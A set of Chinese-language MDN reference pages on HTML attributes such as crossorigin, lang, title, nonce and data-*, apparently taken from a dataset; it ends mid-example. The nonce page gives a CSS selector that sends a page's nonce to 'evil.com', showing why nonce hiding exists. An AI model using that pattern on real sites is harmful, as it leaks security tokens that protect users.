recursal/MDN huggingface dataset:
HTML 属性：crossorigin
===================

**`crossorigin`** 属性在 `<audio>`、`<img>`、`<link>`、`<script>` 和 `<video>` 元素中有效，它们提供对 CORS 的支持，定义该元素如何处理跨源请求，从而实现对该元素获取数据的 CORS 请求的配置。根据元素的不同，该属性可以是一个 CORS 设置属性。

在媒体元素上所使用的 `crossorigin` 内容属性为 CORS 设置属性。

这些属性是枚举 (en-US)的，并具有以下可能的值：

`anonymous`

请求使用了 CORS 标头，且证书标志被设置为 `'same-origin'`。没有通过 cookies、客户端 SSL 证书或 HTTP 认证交换**用户凭据**，除非目的地是同一来源。

`use-credentials`

请求使用了 CORS 标头，且证书标志被设置为 `'include'`。总是包含**用户凭据**。

`""`

将属性名称设置为空值，如 `crossorigin` 或 `crossorigin=""`，与设置为 `anonymous` 的效果一样。

不合法的关键字或空字符串会视为 `anonymous` 关键字。

默认情况下（即未指定该属性时），CORS 根本不会使用。用户代理不会要求对资源进行完全访问的许可，在跨源请求的情况下，将根据相关元素的类型进行某些限制：

|  |  |
| --- | --- |
| 元素 | 限制 |
| `img`、`audio`、`video` | 当资源被放置在 `<canvas>` 中时，元素会标记为*被污染的*。 |
| `script` | 对错误日志 `window.onerror` 的访问将会被限制。 |
| `link` | 使用了不合适的 `crossorigin` 标头的请求可能会被丢弃。 |

**备注：** 在 Firefox 83 版本之前，`rel="icon"` 元素不支持 `crossorigin` 属性。也有一个 Chrome 的未解决的议题。

### 示例：使用 `crossorigin` 的 `<script>` 元素

你可以使用下面的 `<script>` 元素告诉浏览器执行来自 `https://example.com/example-framework.js` 的脚本且不发送用户凭据。


```html
<script
 src="https://example.com/example-framework.js"
 crossorigin="anonymous"></script>
```

### 示例：带有用户凭据的 Web 清单

在获取需要用户凭据的清单时，即使是同源的情况，属性值也必须设置为 `use-credentials`。


```html
<link rel="manifest" href="/app.webmanifest" crossorigin="use-credentials" />
```

规范
--

| Specification |
| --- |
| HTML Standard # cors-settings-attributes |

浏览器兼容性
------

### html.elements.img.crossorigin

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

### html.elements.link.crossorigin

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

### html.elements.script.crossorigin

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

### html.elements.video.crossorigin

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 跨源资源共享（CORS）
* HTML 属性：`rel`
rel=preconnect
==============

`<link>` 元素的 `rel` 属性的 **`preconnect`** 关键字是对浏览器的一种提示，即用户很可能需要来自目标来源的资源，因此浏览器很可能通过抢先启动与该源的连接来改善用户体验。通过抢先执行部分或全部握手（HTTP 为 DNS+TCP，HTTPS 为 DNS+TCP+TLS），预连接可加快未来从给定源加载的速度。

`<link rel="preconnect">` 将为未来的跨源 HTTP 请求、导航或子资源带来好处。它对同源请求没有好处，因为连接已经打开。

如果一个页面需要与许多第三方域建立连接，将它们全部预连接可能会适得其反。`<link rel="preconnect">` 提示最好只用于最关键的连接。对于其他连接，只需使用 `<link rel="dns-prefetch">` (en-US)，以节省第一步 DNS 查询的时间。

示例
--


```html
<link rel="preconnect" href="https://example.com" />
```


你也可以将预连接作为 HTTP Link 标头来实现：


```http
Link: <https://example.com>; rel="preconnect"
```

规范
--

| Specification |
| --- |
| HTML Standard # link-type-preconnect |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 推测性加载 (en-US)，以比较 `<link rel="preconnect">` 和其他类似的性能改进特性。
链接类型：prefetch
=============

关键字 **`prefetch`** 作为元素 `<link>` 的属性 `rel` 的值，是为了提示浏览器，用户未来的浏览有可能需要加载目标资源，所以浏览器有可能通过事先获取和缓存对应资源，优化用户体验。

规范
--

| Specification |
| --- |
| HTML Standard # link-type-prefetch |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.
itemid
======

**`itemid`** 全局属性 是元素的唯一的全局标识符。`itemid` 属性只能为同时拥有 **`itemscope`** 和 **`itemtype`** 的元素指定。同时，`itemid` 只能为拥有 `itemscope` 的元素指定，它的相应 `itemtype` 引用或定义了支持全局标识符的词汇。

`itemtype` 的全局标识符的准确含义，由该标识符以指定的词汇提供。词汇定义了全局标识符相同的多个元素是否可以共存，并且如果是这样，这些元素如何处理。

\*\*注：\*\*Whatwg.org 的定义规定了 `itemid` 必须是 URL。但是，下面的示例正确展示了 URN 也可以使用。这个不一致性可能反映了 Microdata 规范的不完善性。

示例
--

### HTML


```html
<dl
 itemscope
 itemtype="http://vocab.example.net/book"
 itemid="urn:isbn:0-330-34032-8">
  <dt>Title</dt>
  <dd itemprop="title">The Reality Dysfunction</dd>
  <dt>Author</dt>
  <dd itemprop="author">Peter F. Hamilton</dd>
  <dt>Publication date</dt>
  <dd><time itemprop="pubdate" datetime="1996-01-26">26 January 1996</time></dd>
</dl>
```

### 结构化数据

|  |  |  |
| --- | --- | --- |
| itemscope | itemtype: itemid | http://vocab.example.net/book: urn:isbn:0-330-34032-8 |
| itemprop | title | The Reality Dysfunction |
| itemprop | author | Peter F. Hamilton |
| itemprop | pubdate | 1996-01-26 |

### 结果

规范
--

| Specification |
| --- |
| HTML Standard # attr-itemid |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 其他不同的全局属性
* 其他 microdata 相关的全局属性
    + `itemid`
    + `itemprop`
    + `itemref`
    + `itemscope`
    + `itemtype`
lang
====

**lang** 全局属性 参与了元素语言的定义。这个语言是不可编辑元素写入的语言，或者可编辑元素应该写入的语言。标签包含单个条目，值的格式由 *用于定义语言的标签 (BCP47)* IETF 文档定义。如果标签的内容是空字符串，语言就设为*未知*。如果标签内容是无效的，根据 BCP47，它就设为*无效*。

尝试一下
----

**备注：** ## 语言标签语法完整的 BCP47 语法足以标记极其特定的语言方言，但大多数用法都要简单得多。语言标记由连字符分隔的语言子标签组成，其中每个子标签指示该语言的特定属性。3 个最常见的子标签是：

语言子标签

Required。一个 2 或 3 个字符的代码，用于定义基本语言，通常全部用小写编写。例如，English 的语言代码是`en`，Badeshi 的代码是`bdz`。

脚本子标签

该子标签定义了用于该语言的书写系统，并且总是 4 个字符长，首字母大写。例如，French-in-Braille 是`fr-Brai`，`ja-Kana`是用 Katakana 字母书写的日文。如果语言是以非常典型的方式编写的，例如拉丁字母表中的英语，则无需使用此子标签。

地区子标签

该子标签定义了来自特定位置的基本语言的方言，并且是 ALLCAPS 中与国家代码匹配的 2 个字母，或者是与非国家区域匹配的 3 个数字。例如，`es-ES`是西班牙语中的西班牙语，`es-013`是中美洲的西班牙语。 “国际西班牙语”就是`es`。如果两者都存在，则脚本子标签位于区域子标签之前 ––ru-Cyrl-BY 是俄语，用白俄罗斯语中的西里尔字母书写。要查找语言的正确子标签代码，请参阅语言子标签查找。


即使设置了 **lang** 属性，也可能无效，因为 **xml:lang** 属性更加优先。

对于 CSS 伪类`:lang`，如果它们的名称不同，则两个无效的语言名称是不同的。比如`:lang(es)`匹配`lang = "es-ES"`和`lang = "es-419"`，而`:lang(xyzzy)`与`lang = "xyzzy-Zorp!"`不匹配。

规范
--

| Specification |
| --- |
| HTML Standard # attr-lang |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

相关链接
----

* 所有全局属性
dir
===

全局属性**dir**是一个指示元素中文本方向的枚举属性。它的取值如下：

* ltr，指从*左*到*右*，用于那种从左向右书写的语言（比如英语）；
* rtl，指从*右*到*左*，用于那种从右向左书写的语言（比如阿拉伯语）；
* auto，指由用户代理决定方向。它在解析元素中字符时会运用一个基本算法，直到发现一个具有强方向性的字符，然后将这一方向应用于整个元素。

**备注：** 这个属性对有不同语义的`<bdo>`元素是必须的。

* 这个属性在`<bdi>`元素中*不可*继承。未赋值时，它的默认值是 auto。
* 这个属性可以被 CSS 属性`direction`和`unicode-bidi`覆盖，如果 CSS 网页有效且该元素支持这些属性的话。
* 由于文本的方向是和内容的语义而不是和表现相关，因此有可能的话，网页开发者使用这一属性而非 CSS 属性是被推荐的。这样，即使在不支持 CSS 或禁用 CSS 的浏览器中，文本也会正常显示。
* auto 应当用于方向未知的数据，如用户输入的数据，最终保存在数据库中的数据。

规范
--

| Specification |
| --- |
| HTML Standard # the-dir-attribute |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* 全部全局属性。
* 对应这个属性的`HTMLElement.dir`。
inputmode
=========

**`inputmode`** 全局属性 是一个枚举属性，它提供了用户在编辑元素或其内容时可能输入的数据类型的提示。它可以是以下值：

`"none"`

无虚拟键盘。在应用程序或者站点需要实现自己的键盘输入控件时很有用。

`"text"`

使用用户本地区域设置的标准文本输入键盘。

`"decimal"`

小数输入键盘，包含数字和分隔符（通常是“ . ”或者“ , ”），设备可能也可能不显示减号键。

`"numeric"`

数字输入键盘，所需要的就是 0 到 9 的数字，设备可能也可能不显示减号键。

`"tel"`

电话输入键盘，包含 0 到 9 的数字、星号（\*）和井号（#）键。表单输入里面的电话输入通常应该使用 `<input type="tel">` 。

`"search"`

为搜索输入优化的虚拟键盘，比如，返回键可能被重新标记为“搜索”，也可能还有其他的优化。

`"email"`

为邮件地址输入优化的虚拟键盘，通常包含"@"符号和其他优化。表单里面的邮件地址输入应该使用 `<input type="email">` 。

`"url"`

为网址输入优化的虚拟键盘，比如，“/”键会更加明显、历史记录访问等。表单里面的网址输入通常应该使用 `<input type="url">` 。

如果没有设置这个属性，它的默认值是 `"text"`，表明使用本地的标准文本输入键盘。

**警告：** WHATWG(超文本应用技术工作组) 规范中列出了 `inputmode`, 并且现代浏览器正在努力支持它。但 W3C HTML 5.2 规范 不再将其列出（也就是说将其标记为过时的）。在达成共识之前，你应该认为 WHATWG 规范定义的就是正确的。

规范
--

| Specification |
| --- |
| HTML Standard # attr-inputmode |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参照
--

* 所有 全局属性
spellcheck
==========

spellcheck 全局属性是枚举属性，定义是否可以检查元素的拼写错误。它可以具有以下值：

* `true`, 设置在可能的情况下会去检查元素内容的拼写错误;
* `false`, 设置在可能的情况下关闭对元素内容拼写检查。

如果没有设置这个属性，默认值由元素自身类型和浏览器设置决定。默认值也可以被继承，当有祖先元素的 *spellcheck* 设置为 `true` 的情况下，子元素的默认值也是 `true`。

你可以参考这篇文章的例子来使用这个属性。

这个属性是枚举型而不是布尔类型。这意味着显式设置其中一个值 true 或 false 是强制性的，如果使用简写 `<label spellcheck>Example Label</label>` 是不行的。正确的用法是`<label spellcheck="true">Example Label</label>`.

这个属性仅仅是浏览器上的提示：浏览器并不会强制去检查拼写错误，通常不可编辑的元素是不会去检查拼写错误的，就算它的 spellcheck 属性被设置为 true 而且浏览器支持拼写检查。

各个浏览器的默认设置和元素依赖：

| 浏览器 | `<html>` | `<textarea>` | `<input>` | 其他 | 附注 |
| --- | --- | --- | --- | --- | --- |
| Firefox | `false` | `false` | `false` | *inherited* | 当 `layout.spellcheckDefault` 值为 `0` |
| **`false`** | **`true`** | ***inherited*** | ***inherited*** | **当 `layout.spellcheckDefault` 值为 `1` (default
value)** |
| `false` | `true` | `true` | *inherited* | 当 `layout.spellcheckDefault` 值为 `2` |
| Seamonkey | `false` | `false` | `false` | *inherited* | 当 `layout.spellcheckDefault` 值为 `0` |
| **`false`** | **`true`** | ***inherited*** | ***inherited*** | **当 `layout.spellcheckDefault` 值为 1**（默认如此）**** |
| `false` | `true` | `true` | *inherited* | 当 `layout.spellcheckDefault` 值为 `2` |
| Camino | `false` | `false` | `false` | *inherited* | 当 `layout.spellcheckDefault` 值为 `0` |
| `false` | `true` | *inherited* | *inherited* | 当 `layout.spellcheckDefault` 值为 `1` |
| **`false`** | **`true`** | **`true`** | ***inherited*** | **当 layout.spellcheckDefault 值为 `2`**（默认如此）**** |
| Chrome | `false` | `true` | ? | *inherited* |
| Internet Explorer | `false` | `true` | ? | *inherited* |
| Opera | `false` | `true` | ? | *inherited* |
| Safari | `false` | `true` | ? | *inherited* |

规范
--

| Specification |
| --- |
| HTML Standard # attr-spellcheck |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

另见
--

* 所有 全局属性
hidden
======

全局属性 `hidden` 是一个布尔属性，表示一个元素尚未或者不再相关。例如，它可以被用来隐藏一个页面元素直到登录完毕。如果一个元素设置了这个属性，它就不会被显示。

`hidden`属性不能用于隐藏那些可以在其他板块中合理显示的内容。例如，用`hidden`属性去隐藏一个选项卡对话框种的面板是不正确的，因为选项卡界面只不过是溢出显示的一种——一个可以等量于一个只显示所有 form 表单控件的拥有滚动条的大页面。类似地，用 `hidden` 属性在某个特定板块中隐藏一部分内容也是不正确的，——如果某些内容被标记为隐藏，它将从所有版块中隐藏，包括例如屏幕阅读器。

隐藏元素不应与非隐藏元素链接，作为隐藏元素的后代的元素仍然是活动的，这意味着脚本元素仍然可以执行，表单元素仍然可以提交。

比如说，用 `href` 标签链接到一个带有 `hidden` 标签的区块是不对的。如果这个区块和这个页面不相干，或者这个区块不适用于这个页面，那没有任何理由需要链接到它。

不过，你还是可以使用 ARIA `aria-describedby` 标签去引用本身是隐藏的一些描述。

类似的，你也可以将一个带有 hidden 标签的 canvas 元素作为屏幕外的缓存区域，或者在表单控件中引用一个已经隐藏的表单。

**备注：** 改变具有 hidden 属性的元素的 CSS 的 `display` 属性将覆盖该行为。例如，元素被设置为 `display: flex` 将会导致元素显示出来，尽管设置了 hidden 属性

规范
--

| Specification |
| --- |
| HTML Standard # the-hidden-attribute |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

另见
--

* 所有全局属性。
* aria-hidden属性
is
==

**`is`** 全局属性允许你指定标准 HTML 元素像定义的内置元素一样工作（请参阅使用自定义元素以获取更多详细信息）。

只有在当前文档中已成功定义 ( defined ) 指定的自定义元素名称并且扩展了要应用的元素类型时，才能使用此属性。

示例
--

以下代码来自我们的 word-count-web-component 示例（see it live also）。


```js
// Create a class for the element
class WordCount extends HTMLParagraphElement {
  constructor() {
    // Always call super first in constructor
    super();

    // Constructor contents ommitted for brevity
    ...

  }
}

// Define the new element
customElements.define('word-count', WordCount, { extends: 'p' });
```



```html
<p is="word-count"></p>
```

规范
--

| Specification |
| --- |
| HTML Standard # attr-is |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* All global attributes.
title
=====

全局属性 **`title`** 包含代表与它所属的元素有关的咨询信息的文本。

尝试一下
----

`title` 属性的主要用途是为辅助技术标注 `<iframe>` 元素。

`title` 属性也可以用来标注数据表格中的控件。

当 `title` 属性被添加到 `<link rel="styleheet">` 时，将创建一个替代的样式表。当用 `<link rel="alternate">` 定义一个备用样式表时，该属性是必需的，并且必须设置为一个非空字符串。

如果包含在 `<abbr>` 起始标签上，`title` 必须是缩写或首字母的完整扩展。尽可能不要使用 `title`，而是在第一次使用时以纯文本提供缩写或缩略语的扩展，使用 `<abbr>` 来标记缩写。这使所有的用户知道这个缩写或简称是什么名字或术语，同时为用户代理提供一个提示，告诉它们如何宣告这个内容。

虽然 `title` 可以用来为 `<input>` 元素提供一个编程关联的标签，但这并不是好的做法。请使用 `<label>` 代替。

多行标题
----

`title` 属性可以包含多行。每个 `U+000A LINE FEED`（`LF`）符号代表一个换行。有一些需要注意的东西，因为这意味着下面的渲染要跨越两行：

### HTML


```html
<p>
  需要考虑 <code>title</code> 中的换行，像
  <span
 title="这是
多行标题"
 >这个示例</span
 >。
</p>
```

### 结果

Title 属性继承
----------

如果一个元素没有 `title` 属性，那么它就从它的父节点继承，而父节点又可以从它的父节点继承，以此类推。

如果这个属性被设置为空字符串，这意味着它的祖先的 `title` 是不相关的，不应该被用于这个元素的工具提示（tooltip）中。

### HTML


```html
<div title="CoolTip">
  <p>鼠标在这里停留会显示“CoolTip”。</p>
  <p title="">鼠标在这里停留不会显示任何东西。</p>
</div>
```

### 结果

无障碍考虑
-----

在以下情况下使用 `title` 属性会引发问题：

* 使用触摸屏设备的人员
* 使用键盘导航的人员
* 使用屏幕阅读器或放大镜等辅助技术导航的人员
* 出现精细运动控制障碍的人员
* 有认知问题的人员

这是由于浏览器的支持不一致，再加上对浏览器渲染的页面进行了额外的辅助技术解析。如果需要工具提示效果，最好是使用可以用上述浏览方法访问的更方便的技术。

* 3.2.5.1. title 属性 | W3C HTML 5.2: 3. HTML 文档的语义、结构和 API
* 使用 HTML title 属性——更新版 | The Paciello Group
* Tooltips & Toggletips - Inclusive Components
* title 属性的考验与磨难 - 24 Accessibility
规范
--

| Specification |
| --- |
| HTML Standard # the-title-attribute |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 所有全局属性。
* 反映这个属性的 `HTMLElement.title`。
autocapitalize
==============

The **`autocapitalize`** 全局属性 是一个枚举属性，它控制用户输入/编辑文本输入时文本输入是否自动大写，以及如何自动大写。属性必须取下列值之一：

* `off` or `none`: 没有应用自动大写（所有字母都默认为小写字母）。
* `on` or `sentences`: 每个**句子**的第一个字母默认为大写字母；所有其他字母都默认为小写字母。
* `words`: 每个**单词**的第一个字母默认为大写字母；所有其他字母都默认为小写字母。
* `characters`: 所有的**字母**都默认为大写。

在物理键盘上输入时，`autocapitalize` 属性不会影响行为。相反，它会影响其他输入机制的行为，比如移动设备的虚拟键盘和语音输入。这种机制的行为是，它们经常通过自动地将第一个句子的字母大写来帮助用户。`autocapitalize` 属性使作者能够覆盖每个元素的行为。

`autocapitalize` 属性永远不会为带有 `type` 属性，其值为 `url`、`email` 或 `password` 的 `<input>` 元素启用自动大写。

规范
--

| Specification |
| --- |
| HTML Standard # attr-autocapitalize |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.
translate
=========

全局属性 **translate** 是一种枚举 (en-US)属性，用来规定对应元素的*可翻译属性*值及其 `Text` (en-US) 子节点内容是否跟随系统语言作出对应的翻译变化。

该属性可以有以下值：

* 空字符串或 `yes`，意味着网页在进行本地化的时候，对应内容要被翻译。
* `no`，意味着对应的内容无需做任何翻译。

虽然不是所有的浏览器都能识别这个属性，但谷歌翻译等自动翻译系统会遵守这个属性，人类翻译者使用的工具也会遵守这个属性。因此，web 作者使用这个属性来标记不应该被翻译的内容是很重要的。

示例
--

在这个示例中，`translate` 属性令翻译工具不要翻译页脚的公司品牌名称。


```html
<footer>
  <small>© 2020 <span translate="no">BrandName</span></small>
</footer>
```

规范
--

| Specification |
| --- |
| HTML Standard # attr-translate |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 所有全局属性。
* 反映该属性的 `HTMLElement.translate` (en-US) 属性。
* 使用 HTML 的 translate 属性。
* HTML `lang` 属性
nonce
=====

**`nonce`** 全局属性是定义了密码学 nonce（“只使用一次的数字”）的内容属性，内容安全策略可以使用它来确定是否允许对给定元素进行获取。

描述
--

`nonce` 属性可用于允许对特定资源的获取，如内联脚本或样式元素。它可以帮助你避免使用 CSP `unsafe-inline` 指令，该指令会允许你获取*所有*的内联脚本或样式资源。

**备注：** 只有在无法使用不安全的内联脚本或样式内容时，才使用 `nonce`。如果不需要 `nonce`，就不要使用。如果脚本是静态的，也可以使用 CSP 哈希值来代替。（请参阅不安全内联脚本 (en-US)中的使用说明）。始终尽量充分利用 CSP 保护，并尽可能避免使用 nonce 或不安全的内联脚本。

### 使用 nonce 以允许一个 <script> 元素

使用 nonce 机制允许内联脚本需要几个步骤：

#### 生成所需值

从你的 web 服务器上，使用一个密码学安全的随机数生成器生成至少 128 位的 base64 编码的随机字符串。每次加载页面时，应该以不同的方式生成 nonce（nonce 只能生成一次！）。例如，在 nodejs 中，应该这样做：


```js
const crypto = require("crypto");
crypto.randomBytes(16).toString("base64");
// '8IBTHwOdqNKAWeKl7plt8g=='
```


#### 在内联脚本中允许获取资源

后端代码生成的 nonce 现在应该可用于你希望允许使用的内联脚本：


```html
<script nonce="8IBTHwOdqNKAWeKl7plt8g==">
 // …
</script>
```


#### 发送带有 CSP 标头的 nonce

最后，你需要在 `Content-Security-Policy` 标头中发送 nonce 值（需要在此值前面附加 `nonce-`）：


```http
Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='
```

### 访问 nonce 值和 nonce 隐藏

出于安全考虑，`nonce` 内容属性是隐藏的（将返回空字符串）。


```js
script.getAttribute("nonce"); // 返回空字符串
```


`nonce` 属性是访问 nonce 的唯一方法：


```js
script.nonce; // 返回 nonce 值
```


Nonce 隐藏有助于防止攻击者通过能从内容属性中抓取数据的机制泄露 nonce 数据，比如这样：


```css
script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}
```

规范
--

| Specification |
| --- |
| HTML Standard # attr-nonce |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `HTMLElement.nonce`
* 内容安全策略
* CSP：`script-src` (en-US)
accesskey
=========

**accesskey** 全局属性 提供了为当前元素生成快捷键的方式。属性值必须包含一个可打印字符。

尝试一下
----

**备注：** 在 WHATWG 规范中，它说你可以指定多个空格分隔的字符，浏览器将使用它所支持的第一个字符。然而，这在大多数浏览器中是行不通的。在 IE/Edge 中，它将使用它支持的第一个没有问题的，只要没有与其他命令冲突。

激活 accesskey 的操作取决于浏览器及其平台。

|  | Windows | Linux | Mac |
| --- | --- | --- | --- |
| Firefox | `Alt` + `Shift` + `*key*` | 
 On Firefox 57 or newer, `Control` + `Option` +
 `*key*` -OR- `Control` + `Alt` +
 `*key*`On Firefox 14 or newer, `Control` + `Alt` +
 `*key*`On Firefox 13 or older, `Control` +
 `*key*` |
| Internet Explorer | `Alt` + `*key*` | N/A |
| Google Chrome | `Alt` + `*key*` | `Control` + `Alt` + `*key*` |
| Safari | `Alt` + `*key*` | N/A | `Control` + `Alt` + `*key*` |
| Opera 15+ | `Alt` + `*key*` | `Control` + `Alt` + `*key*` |
| Opera 12 | 
`Shift` + `Esc` opens a contents list which are
 accessible by accesskey, then, can choose an item by pressing
 `*key*`
 |

要注意 Firefox 可以通过用户偏好，自定义所需的修饰键。

无障碍
---

除了糟糕的浏览器支持之外， `accesskey`属性还有很多问题：

* `accesskey` 值可能与系统或浏览器键盘快捷键或辅助技术功能相冲突。对于一个操作系统来说，辅助技术和浏览器组合可能无法与其他操作系统协同工作。
* 某些 `accesskey` 值可能不会出现在某些键盘上，特别是在国际化是一个问题的时候。
* 依赖于数字的 `accesskey` 值可能会让那些经历认知问题的人感到困惑，因为他们的数字与它触发的功能没有逻辑关联。
* 通知用户`accesskey`s 存在，这样他们就能意识到该功能。如果没有公开这些信息的方法，`accesskey`s 可能会被意外激活。

由于这些问题，一般建议不要在大多数通用的网站和 web 应用程序中使用`accesskey` 属性。

* WebAIM: Keyboard Accessibility - Accesskey
规范
--

| Specification |
| --- |
| HTML Standard # the-accesskey-attribute |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `Element.accessKey`
* `HTMLElement.accessKeyLabel`
* 所有 全局属性
contextmenu
===========

**警告：** contextmenu 属性已经过时，将从所有浏览器中删除。

**`contextmenu`** 全局属性是指用于某个元素的“上下文菜单”的`<menu>`的ID属性。上下文菜单是指在用户交互（例如右键点击）时出现的菜单。HTML5 允许我们自定义此菜单。这里有一些实现示例，包括嵌套菜单。

示例
--

### HTML


```html
<body contextmenu="share">
  <menu type="context" id="share">
    <menu label="share">
      <menuitem label="Twitter" onclick="shareViaTwitter()"></menuitem>
      <menuitem label="Facebook" onclick="shareViaFacebook()"></menuitem>
    </menu>
  </menu>
  <ol>
    <li>
      Anywhere in the example you can share the page on Twitter and Facebook
      using the Share menu from your context menu.
    </li>
    <li contextmenu="changeFont" id="fontSizing">
      On this specific list element, you can change the size of the text by
      using the "Increase/Decrease font" actions from your context menu
    </li>
    <menu type="context" id="changeFont">
      <menuitem label="Increase Font" onclick="incFont()"></menuitem>
      <menuitem label="Decrease Font" onclick="decFont()"></menuitem>
    </menu>
    <li contextmenu="ChangeImage" id="changeImage">
      On the image below, you can fire the "Change Image" action in your Context
      Menu.<br />
      <img
 src="https://developer.mozilla.org/media/img/promote/promobutton\_mdn5.png"
 contextmenu="ChangeImage"
 id="promoButton" />
      <menu type="context" id="ChangeImage">
        <menuitem label="Change Image" onclick="changeImage()"></menuitem>
      </menu>
    </li>
  </ol>
</body>
```

### JavaScript


```js
function shareViaTwitter() {
  window.open(
    "https://twitter.com/intent/tweet?text=" +
      "Hurray! I am learning ContextMenu from MDN via Mozilla",
  );
}

function shareViaFacebook() {
  window.open(
    "https://facebook.com/sharer/sharer.php?u=" +
      "https://developer.mozilla.org/en/HTML/Element/Using\_HTML\_context\_menus",
  );
}

function incFont() {
  document.getElementById("fontSizing").style.fontSize = "larger";
}

function decFont() {
  document.getElementById("fontSizing").style.fontSize = "smaller";
}

function changeImage() {
  var index = Math.ceil(Math.random() \* 39 + 1);
  document.images[0].src =
    "https://developer.mozilla.org/media/img/promote/promobutton\_mdn" +
    index +
    ".png";
}
```

### 结果

规范
--

contextmenu 属性已经过时，将从所有浏览器中删除。

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* All global attributes
part
====

**part** 全局属性 包含一个以元素中 part 属性名称组成的列表，该列表以空格分隔。通过 Part 的名称，可以使用 CSS 伪元素“::part”来选择 shadow 树中指定元素并设置其样式。

参见用例 Shadow part 实例.

规范
--

| Specification |
| --- |
| CSS Shadow Parts # part-attr |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

相关链接
----

* 所有 全局属性。
class
=====

全局属性 **class** 的值是一个以空格分隔的元素的类名（classes）列表，它允许 CSS 和 Javascript 通过类选择器 (class selectors) 或 DOM 方法 ( `document.getElementsByClassName`) 来选择和访问特定的元素。

尝试一下
----

尽管对 class 的命名没有要求，但 web 开发者最好使用可以表达元素语义目的的名称，而不是描述元素展现的名称（即使一个元素是斜体，但是 class 的命名也不应该是 italics）。**语义化**命名即使在页面展现发生改变时仍能合乎逻辑。

规范
--

| Specification |
| --- |
| HTML Standard # global-attributes:classes-2 |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

另见
--

* 所有全局属性。
style
=====

**style** 全局属性 包含应用到元素的 CSS 样式声明。要注意样式最好定义在单独的文件中。这个属性以及 `<style>` 元素的主要目的是快速装饰。例如用于测试目的。

**备注：** 这个属性不能用于传递语义信息。即使所有样式都移除了，页面也应该保留正确语义。通常它不应用于隐藏不相关的信息；这应该使用 **hidden** 属性来实现。

规范
--

| Specification |
| --- |
| HTML Standard # the-style-attribute |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

另见
--

* 所有全局属性
autofocus
=========

全局属性 **`autofocus`** 是一个布尔属性，表示元素应在页面加载时或其所属的 `<dialog>` 显示时被聚焦。


```html
<input name="q" autofocus />
```


在文档或对话框中，最多只能有一个元素具有 autofocus 属性。如果应用于多个元素，第一个元素将获得焦点。

**备注：** `autofocus` 属性适用于所有元素，而不仅仅是表单控件。例如，它可用于 contenteditable 区域。

无障碍考虑
-----

自动聚焦表单控件会让使用屏幕阅读技术的视障人士和有认知障碍的人士感到困惑。当指定 `autofocus` 时，屏幕阅读器会将用户“传送”到表单控件上，而不会事先向他们发出警告。

在应用 `autofocus` 属性时，请仔细考虑无障碍性。自动聚焦于控件会导致页面在加载时滚动。在某些触摸设备上，焦点还会导致动态键盘的显示。虽然屏幕阅读器会公布收到焦点的表单控件的标签，但屏幕阅读器不会公布标签之前的任何内容，而使用小型设备的视力正常的用户同样会错过前面内容所创建的上下文。

规范
--

| Specification |
| --- |
| HTML Standard # dom-fe-autofocus |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.
slot
====

**`slot`** 全局属性 将一个 shadow DOM shadow 树中的槽分配给一个元素：带有 `slot` 属性的元素分配给由 `<slot>` 创建的槽，它的 `name` 属性的值匹配 `slot` 属性的值。

规范
--

| Specification |
| --- |
| HTML Standard # attr-slot |
| DOM Standard # ref-for-dom-element-slot① |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* HTML 全局属性
* HTML `<slot>` 元素
* HTML `<template>` 元素
* CSS `::slotted` 伪元素
* CSS 域 (en-US)模块
* Web 组件
data-\*
=======

**data-\*** 全局属性 是一类被称为**自定义数据属性**的属性，它赋予我们在所有 HTML 元素上嵌入自定义数据属性的能力，并可以通过脚本在 HTML 与 DOM 表现之间进行专有数据的交换。

尝试一下
----

所有这些自定义数据属性都可以通过所属元素的 `HTMLElement` 接口来访问。 `HTMLElement.dataset` 属性可以访问它们。 `*` 可以使用遵循 xml 名称生产规则 的任何名称来被替换，并具有以下限制：

* 该名称不能以`xml`开头，无论这些字母是大写还是小写；
* 该名称不能包含任何分号 (`U+003A`)；
* 该名称不能包含 A 至 Z 的大写字母。

注意，`HTMLElement.dataset` 属性是一个`DOMStringMap`，并且自定义数据属性 *data-test-value* 可以通过 `HTMLElement.dataset.testValue` ( 或者是 `HTMLElement.dataset["testValue"]`) 来访问，任何破折号 (`U+002D`) 都会被下个字母的大写替代 (驼峰拼写)。

### 用法

通过添加 **data-\*** 属性，即使是普通的 HTML 元素也能变成相当复杂且强大的编程对象。例如，在游戏里的太空船 "sprite" 可以是一个带有一个 class 属性和几个 data-\* 属性的简单 `<img>` 元素：
```

<img class="spaceship cruiserX3" src="shipX3.png"
